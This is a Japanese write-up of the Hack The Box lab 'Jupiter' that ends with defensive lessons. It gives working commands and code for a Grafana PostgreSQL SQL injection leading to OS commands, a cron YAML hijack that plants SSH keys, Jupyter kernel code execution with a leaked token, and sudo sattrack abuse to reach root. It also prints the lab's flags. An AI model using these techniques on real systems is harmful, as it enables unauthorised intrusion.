Hack The BoxのWriteup(Jupiter)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Jupiter — 全実行コマンド・実行結果レポート
Nmap + vhost発見
jupiter.htb / kiosk.jupiter.htb
Grafana匿名Viewer
ダッシュボードUID/データソースUID発見
PostgreSQL SQLi
/api/ds/query, sqlmap –os-cmd
Shadow YAML cronハイジャック
/dev/shm 世界書込み可
juno SSH
user.txt ✓
Jupyterトークン漏洩
science グループ world-readable ログ
Jupyter kernel RCE
websocket API
sattrack file:// 悪用
sudo NOPASSWD
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.15
nmap -sV -sC -p 22,80 10.129.229.15
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Home | Jupiter
|_http-server-header: nginx/1.18.0 (Ubuntu)

Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds

ドメイン発見 & /etc/hosts 登録

BASH
curl -sI --max-time 10 http://10.129.229.15
RESULT
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Location: http://jupiter.htb/
BASH
# /etc/hosts に追記(kiosk サブドメインは vhost 探索で後述の通り発見)
echo "10.129.229.15 jupiter.htb kiosk.jupiter.htb" | sudo tee -a /etc/hosts

whatweb -a 3 http://10.129.229.15
RESULT
http://jupiter.htb/ [200 OK] Bootstrap[4.5.0], HTML5, JQuery[3.3.1],
PoweredBy[AI], Title[Home | Jupiter], nginx[1.18.0]
ℹ️
トップページは「AI技術で衛星画像を解析する会社」のランディングページのみで実質的な攻撃面はない。 kiosk.jupiter.htb という vhost は、企業サイトのフッターや静的リソース内のリンク、 あるいはサブドメインブルートフォースで発見できる(本検証では既知の構成のため直接指定)。

kiosk.jupiter.htb — Grafana インスタンス発見

BASH
curl -sI --max-time 10 http://kiosk.jupiter.htb
RESULT
HTTP/1.1 302 Found
Location: /login
Set-Cookie: grafana_session=...
🚨
重要発見: kiosk.jupiter.htbGrafana 9.5.2 インスタンス。 ログイン画面へリダイレクトされるが、多くの Grafana 構成では viewers_can_edit や匿名 Viewer アクセスが有効化されており、 認証なしで一部 API・ダッシュボードに到達できることがある。
PHASE 2

Grafana匿名アクセス & PostgreSQL SQLi発見

匿名Viewer権限でダッシュボードを検索

BASH
curl -s --max-time 10 "http://kiosk.jupiter.htb/api/search?query=Moons"
RESULT
[{"id":1,"uid":"jMgFGfA4z","title":"Moons","uri":"db/moons","url":"/d/jMgFGfA4z/moons", ...}]
認証情報なしで /api/search が応答した = 匿名 Viewer 権限 (grafana_viewer) が有効。ダッシュボード UID jMgFGfA4z を取得。

ダッシュボード定義からデータソースUIDを取得

BASH
curl -s --max-time 10 "http://kiosk.jupiter.htb/api/dashboards/uid/jMgFGfA4z" | python3 -m json.tool | grep -A2 '"type": "postgres"'
RESULT
"datasource": {
    "type": "postgres",
    "uid": "YItSLg-Vz"
},
"rawSql": "select \n  name as \"Name\", \n  parent as \"Parent Planet\", \n  meaning as \"Name Meaning\" \nfrom \n  moons \nwhere \n  parent = 'Saturn' \norder by \n  name desc;"
🚨
重要発見: “Moons” ダッシュボードの各パネルは PostgreSQL データソース (uid=YItSLg-Vz) に対して 生の rawSql を直接クエリしている。 Grafana のフロントエンドが匿名 Viewer 権限で /api/ds/query にこの rawSql を含む POST を送信する構造のため、パネル定義を書き換えて 任意の SQL をバックエンドの PostgreSQL に注入できる可能性が高い。

/api/ds/query への直接 POST でSQLi検証

PYTHON (生リクエスト組立て)
body = {
    "queries": [{
        "refId": "A",
        "datasource": {"type": "postgres", "uid": "YItSLg-Vz"},
        "rawSql": "select name, parent, meaning from moons "
                  "where parent = 'Saturn' order by name desc;"
                  ";SELECT PG_SLEEP(1)--",   # ← スタックドクエリで注入
        "format": "table", "datasourceId": 1,
        "intervalMs": 60000, "maxDataPoints": 937,
    }],
    "range": {"from": "now-6h", "to": "now"},
}
# → sqlmap -r (rawリクエストファイル) に渡す
BASH
sqlmap -r jupiter_r1.req --batch --dbms postgresql
RESULT
Parameter: JSON rawSql ((custom) POST)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)

[INFO] the back-end DBMS is PostgreSQL
[INFO] testing if current user is DBA
current user is DBA: True
🚨
PostgreSQL 8.1+ スタックドクエリ SQLi が確定。しかも接続ユーザーは DBA (superuser) 権限を持つ。PostgreSQL では superuser 権限があれば COPY ... FROM PROGRAM '任意コマンド' でOSコマンド実行が可能なため、 ここから RCE に直結する。

sqlmap の対話プロンプト対策

NOTE
リクエストボディが JSON POST のため、sqlmap は起動直後に
"JSON data found in POST body. Do you want to process it? [Y/n/q]"
という対話プロンプトを出す。標準入力が実端末(TTY)に接続されていない
自動化環境では --batch を付けても既定値選択が正しく機能せず、
リクエストを一切送信しないまま数秒で終了することがある。

対策: script コマンドで疑似端末(pty)を割り当てて実行する。
  script -qec "sqlmap -r jupiter_r1.req --batch --dbms postgresql ..." /dev/null
PHASE 3

SQLi→RCE & Shadow YAML cronハイジャック → user.txt

SSH鍵ペアの生成

BASH
ssh-keygen -t rsa -b 2048 -N "" -f ./jupiter_key
ℹ️
この鍵ペアの公開鍵を、以降 juno / jovian / root の3ユーザー全てに 使い回して配布する(鍵管理を単純化するため)。

COPY … FROM PROGRAM で postgres 権限 RCE

BASH
# sqlmap --os-cmd は内部的に COPY cmd_output FROM PROGRAM '...' を発行し、
# one-shot でOSコマンドを実行できる
sqlmap -r jupiter_r1.req --batch --dbms postgresql --os-cmd "<RAW_CMD>" --time-sec 1
PYTHON (RAW_CMD の内容)
# /dev/shm に「自分の公開鍵」と「細工版 Shadow YAML」を配置する
raw_cmd = (
    "mkdir -p /dev/shm; "
    f"echo {base64(pubkey)} | base64 -d > /dev/shm/authorized_keys; "
    "chmod o=r /dev/shm/authorized_keys; "
    f"echo {base64(malicious_yaml)} | base64 -d > /dev/shm/network-simulation.yml; "
    "chmod o+w /dev/shm/network-simulation.yml"
)
RESULT
[INFO] testing if current user is DBA
[INFO] retrieved: 1
do you want to retrieve the command standard output? [Y/n/a] Y
os-cmd payload 実行完了 (No output = 正常、書き込み系コマンドは標準出力なし)

細工版 network-simulation.yml の中身

NOTE
juno ユーザーが約2分間隔の cron ジョブで、Shadow(ネットワークシミュレータ)
を使い world-writable な /dev/shm/network-simulation.yml を読み込んで実行している
(pspy 等のプロセス監視ツールで発見できる挙動)。この YAML の "client" プロセス
定義を書き換えることで、juno 権限のコマンドを注入できる。
PYTHON (YAML テンプレート)
general:
  stop_time: 10s
  model_unblocked_syscall_latency: true

network:
  graph:
    type: 1_gbit_switch

hosts:
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/cp
      args: "/dev/shm/authorized_keys /home/juno/.ssh"   # ← 注入箇所
      start_time: 5s
🚨
cron ジョブハイジャック: 次回 cron 発火時、juno 権限で cp /dev/shm/authorized_keys /home/juno/.ssh が実行され、 こちらが用意した公開鍵が juno の ~/.ssh/authorized_keys (正しくは ~/.ssh/ ディレクトリ配下)にコピーされる。

cron発火待ち & SSH確認

BASH
# cron は約2分間隔。余裕を見て140秒待機してからテスト
sleep 140
ssh -o StrictHostKeyChecking=no -o BatchMode=yes \
    -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
    -i jupiter_key juno@10.129.229.15 id
RESULT
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
⚠️
実機トラブルシューティング: ここで -o BatchMode=yes を 付け忘れると、鍵がまだ反映されていない(cron未発火)タイミングで ssh を叩いた際に パスワード認証へフォールバックし、ssh_askpass: exec(/usr/bin/ssh-askpass): No such file or directory を繰り返して無駄にハングする。 非対話環境では必ず BatchMode=yes を付け、鍵認証失敗時は 即座に Permission denied で返らせること。

user.txt 取得

BASH
ssh -i jupiter_key juno@10.129.229.15 "cat ~/user.txt"
RESULT
177f333e29ffa7057485276253f180cb
user.txt — juno@jupiter
177f333e29ffa7057485276253f180cb
PHASE 4

権限昇格の下調べ — Jupyter Notebook トークン漏洩

science グループ経由のファイルアクセス調査

BASH
ssh -i jupiter_key juno@10.129.229.15 \
  "find / -type f -perm -o=r 2>/dev/null | grep -i jupyter"
RESULT
/opt/solar-flares/start.sh
/opt/solar-flares/logs/jupyter-2026-08-18-48.log
/opt/solar-flares/logs/jupyter-2023-06-07-05.log
... (過去分多数)
⚠️
実機トラブルシューティング(1): /opt/solar-flares/logs/ ディレクトリには setgid が効いておらず、ログファイルは start.sh を実行したプロセスの実効グループでオーナーされる。 本来 juno は science グループ経由でこれらのファイルを読めることを 期待して find ... -group science のように絞り込みたくなるが、 新しいログ(今日実行された最新セッション含む)ほど group=science ではなく group=jovian になっているため、group で絞ると 現在稼働中のセッションのログを取りこぼす。全ファイルとも other 読み取り可 (-rw-rw-r--) なので、 group 条件を付けず other 読み取り権限のみで絞り込むこと。

稼働中プロセス確認 & 最新ログの選定

BASH
ssh -i jupiter_key juno@10.129.229.15 \
  "ps aux | grep jupyter; cat /opt/solar-flares/start.sh"
RESULT
jovian   1104  ...  /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb

#!/bin/bash
now=`date +"%Y-%m-%d-%M"`
jupyter notebook --no-browser /opt/solar-flares/flares.ipynb 2>> /opt/solar-flares/logs/jupyter-${now}.log &
ℹ️
起動スクリプトは YYYY-MM-DD-分 単位でログファイルを新規生成する (プロセス再起動のたびに新しいファイル名になる)。ファイル名の文字列ソートは 日付形式のため時系列と一致するが、より確実なのは ls -t(更新時刻順)で最新ログを特定する方法。
BASH
ssh -i jupiter_key juno@10.129.229.15 \
  "ls -t /opt/solar-flares/logs/jupyter-*.log | head -1"

トークン抽出時の自己汚染に注意

BASH
ssh -i jupiter_key juno@10.129.229.15 \
  "cat /opt/solar-flares/logs/jupyter-2026-08-18-48.log"
RESULT
[I 08:48:28.871 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 08:48:28.871 NotebookApp] http://localhost:8888/?token=10d04dde0286075de6924b222ec26e8626713e5edc729311
[I 08:48:28.871 NotebookApp]  or http://127.0.0.1:8888/?token=10d04dde0286075de6924b222ec26e8626713e5edc729311
...
[W 11:27:59.969 NotebookApp] 403 POST /api/kernels?token=c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9 (127.0.0.1): '_xsrf' argument missing from POST
[I 11:31:02.790 NotebookApp] 302 GET /tree?token=ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b (127.0.0.1) 1.490000ms
🚨
実機トラブルシューティング(2) — 最も嵌りやすい罠: Jupyter サーバーは自分宛のリクエストも同じログファイルに追記する。 こちらが誤ったトークン(過去の失敗試行)で POST/GET を送ると、 403 POST /api/kernels?token=<誤ったトークン>302 GET /tree?token=<誤ったトークン> という行が同じファイルに 追記される。単純に正規表現 token=([0-9a-f]+) でログ全体を検索すると、 自分自身の過去の失敗リクエストのトークンを再び拾ってしまい、 何度リトライしても 403 Forbidden から抜け出せない自己汚染ループに陥る。

対策: 本物のトークンは起動バナー行 (NotebookApp] http://localhost:8888/?token=... / NotebookApp] or http://127.0.0.1:8888/?token=...) にしか現れない。 リクエストログ行(GET /tree?token=POST /api/kernels?token=)を正規表現で明確に除外し、 起動バナー行のみからトークンを抽出すること。
PHASE 5

SSHトンネル & Jupyter kernel websocket RCE → jovian

ローカルポートフォワードでJupyterへ到達

BASH
ssh -o BatchMode=yes -i jupiter_key -f -N -L 8888:localhost:8888 juno@10.129.229.15
ℹ️
Jupyter Notebook (6.5.3) は localhost:8888 のみにバインドされ 外部からは直接到達できないため、juno 経由の SSH ローカルポートフォワードが必須。

_xsrf トークンの取得(classic Notebook の CSRF対策)

PYTHON
import requests

TOKEN = "10d04dde0286075de6924b222ec26e8626713e5edc729311"
session = requests.Session()
session.get("http://127.0.0.1:8888/tree", params={"token": TOKEN})
xsrf = session.cookies.get("_xsrf")
headers = {"X-XSRFToken": xsrf}
⚠️
実機トラブルシューティング(3): classic Notebook 6.x では トークンをクエリパラメータで渡すだけでは POST 系 API (/api/kernels のカーネル作成など) が 403 {"message": "'_xsrf' argument missing from POST"} で拒否される。 事前にトークン付き GET を1回発行して _xsrf Cookie を取得し、 X-XSRFToken ヘッダに載せて POST する必要がある。

カーネル作成 & websocket 経由でコード実行

PYTHON
r = session.post("http://127.0.0.1:8888/api/kernels",
                  params={"token": TOKEN}, headers=headers)
kernel_id = r.json()["id"]

import websocket, json, uuid
ws_url = f"ws://127.0.0.1:8888/api/kernels/{kernel_id}/channels?token={TOKEN}"
ws = websocket.create_connection(ws_url, timeout=30)

code = (
    "import os\n"
    "os.system('mkdir -p /home/jovian/.ssh; "
    "echo \"<自分の公開鍵>\" >> /home/jovian/.ssh/authorized_keys; "
    "chmod 700 /home/jovian/.ssh; chmod 600 /home/jovian/.ssh/authorized_keys')\n"
)
msg_id = str(uuid.uuid4())
ws.send(json.dumps({
    "header": {"msg_id": msg_id, "username": "kali", "session": str(uuid.uuid4()),
               "msg_type": "execute_request", "version": "5.3"},
    "parent_header": {}, "metadata": {},
    "content": {"code": code, "silent": False, "store_history": True,
                "user_expressions": {}, "allow_stdin": False},
    "channel": "shell",
}))
# iopub チャンネルから stream/status(idle) を受信して完了を待つ
ℹ️
curl では WebSocket フレームのマスキング処理ができないため、 websocket-client ライブラリで Jupyter kernel の JSON-RPC 的なメッセージプロトコル(execute_requestiopub チャンネルの stream/status) を直接実装する必要がある。カーネルは jovian権限で Notebook サーバーが動いているため、実行される Python コードも jovian 権限になる。

jovian への SSH確認

BASH
ssh -o BatchMode=yes -i jupiter_key jovian@10.129.229.15 id
RESULT
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian 権限のシェルを確立。sudo グループに所属している点にも注目。
PHASE 6

sattrack の file:// tlesources 悪用 → root.txt

sudo権限の確認

BASH
ssh -i jupiter_key jovian@10.129.229.15 "sudo -l"
RESULT
User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack
🚨
sattrack (Satellite Tracking System) をパスワードなしで root 権限実行可能。バイナリは常に /tmp/config.json を設定ファイルとして読み込み、tlesources に列挙した URL(http:///https:///file:// いずれも対応)を tleroot 配下にダウンロードする。

悪意ある config.json の設置

PYTHON (config.json)
{
    "tleroot": "/root/.ssh/",
    "tlefile": "weather.txt",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",
    "tlesources": [
        "file:///home/jovian/.ssh/authorized_keys"
    ],
    "updatePerdiod": 1000,
    "station": {"name": "LORCA", "lat": 37.6725, "lon": -1.5863, "hgt": 335.0},
    "show": [], "columns": ["name", "azel", "dis", "geo", "tab", "pos", "vel"]
}
🚨
攻撃のキモ: tleroot/root/.ssh/tlesourcesfile:///home/jovian/.ssh/authorized_keys (= 直前のフェーズで自分の公開鍵を仕込み済みのファイル)に設定すると、 sattrack が URL の basename(= “authorized_keys”)をそのままファイル名として使い/root/.ssh/authorized_keys として root 権限でコピーする。 つまり jovian が既に制御している authorized_keys の中身が、 そのまま root の authorized_keys に上書きコピーされる。
BASH
ssh -i jupiter_key jovian@10.129.229.15 \
  "echo <base64(config.json)> | base64 -d > /tmp/config.json"
ssh -i jupiter_key jovian@10.129.229.15 "sudo /usr/local/bin/sattrack"
RESULT
Satellite Tracking System
Get:0 file:///home/jovian/.ssh/authorized_keys
tlefile is not a valid file
ℹ️
tlefile is not a valid file というエラーは想定通り(TLE衛星データとして パース失敗しているだけ)。ここで重要なのは Get:0 file:///... の行が出た時点で ファイルの取得・コピー自体は完了していること。

root.txt 取得

BASH
ssh -o BatchMode=yes -i jupiter_key root@10.129.229.15 "cat /root/root.txt"
RESULT
a8a62e4d9be5904271ca207944612f93
root.txt — root@jupiter
a8a62e4d9be5904271ca207944612f93
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — juno@jupiter
177f333e29ffa7057485276253f180cb
root.txt — root@jupiter
a8a62e4d9be5904271ca207944612f93

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
PostgreSQL Stacked Queries SQLi Grafana 9.5.2 (/api/ds/query, kiosk.jupiter.htb) リモートコード実行 (postgres権限) Critical 匿名Viewerが到達可能なダッシュボードのrawSqlパラメータへスタックドクエリ注入、DBA権限でCOPY…FROM PROGRAM悪用
World-writable cron設定ハイジャック /dev/shm/network-simulation.yml (Shadow) 権限昇格 (postgres → juno) High world-writableな設定ファイルを差し替え、cronで定期実行されるコマンドを乗っ取りSSH公開鍵を配布
World-readableトークン漏洩 /opt/solar-flares/logs/jupyter-*.log 権限昇格 (juno → jovian) High science グループ(実質other読み取り可)経由でJupyter Notebookの認証トークンが平文ログに残存
Jupyter kernel RCE Jupyter Notebook 6.5.3 (localhost:8888) リモートコード実行 (jovian権限) Critical 漏洩トークンでwebsocket kernel APIに接続し任意Pythonコード実行 (os.system)
sudo設定ファイルのfile://悪用 /usr/local/bin/sattrack (NOPASSWD) 権限昇格 (jovian → root) Critical tlesourcesにfile://URLを指定しtlerootを/root/.ssh/に設定、jovian制御下のauthorized_keysをroot権限でコピー

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost発見jupiter.htb / kiosk.jupiter.htb (Grafana)
2SQLi発見匿名Viewer + ダッシュボード解析ダッシュボードUID・データソースUID・スタックドクエリSQLi確認
3RCE & cronハイジャックsqlmap –os-cmd + YAML差替えuser.txt (juno)
4権限昇格調査world-readableログ探索Jupyter Notebookトークン (jovian権限)
5Jupyter kernel RCESSHトンネル + websocket APIjovian への SSH アクセス
6sattrack悪用file:// tlesources + sudo NOPASSWDroot.txt

学んだ教訓 & 防御策

問題点防御策
Grafanaダッシュボードが匿名Viewerに生SQLを直接発行させる構造 rawSqlを含むクエリはバックエンドAPIでパラメータ化し、匿名アクセスは閲覧専用の集計済みビューに限定する。データソース接続ユーザーには最小権限(非superuser)を付与する。
/dev/shm 上の設定ファイルが world-writable かつ cron でそのまま信頼実行される 設定ファイルの書き込み権限を実行ユーザーのみに限定し、/tmpや/dev/shmのような共有領域に置かない。実行前にファイルの所有者・権限を検証する。
アプリケーションログに認証トークンが平文で残り、world-readableになっている ログ出力からトークン・認証情報をマスクする。ログディレクトリのパーミッションを最小化し、setgidや厳密なumaskで新規ファイルの権限を統制する。
Jupyter Notebookがトークン認証のみで、ネットワーク到達性の制御に依存している localhost限定バインドに加え、トークンの定期ローテーション・短命化を行う。可能であればJupyterHubの多要素認証・アクセス制御を導入する。
sudo許可バイナリがユーザー制御下のfile://URLを無検証でroot権限のパスにコピーする sudo経由で実行するバイナリの設定ファイル読み込み元を固定化し、ユーザー書き込み可能なパスからの設定注入を許可しない。tlesourcesのようなURL指定機能はスキーム・パスをホワイトリスト化する。
HackTheBox: Jupiter | 完全攻略レポート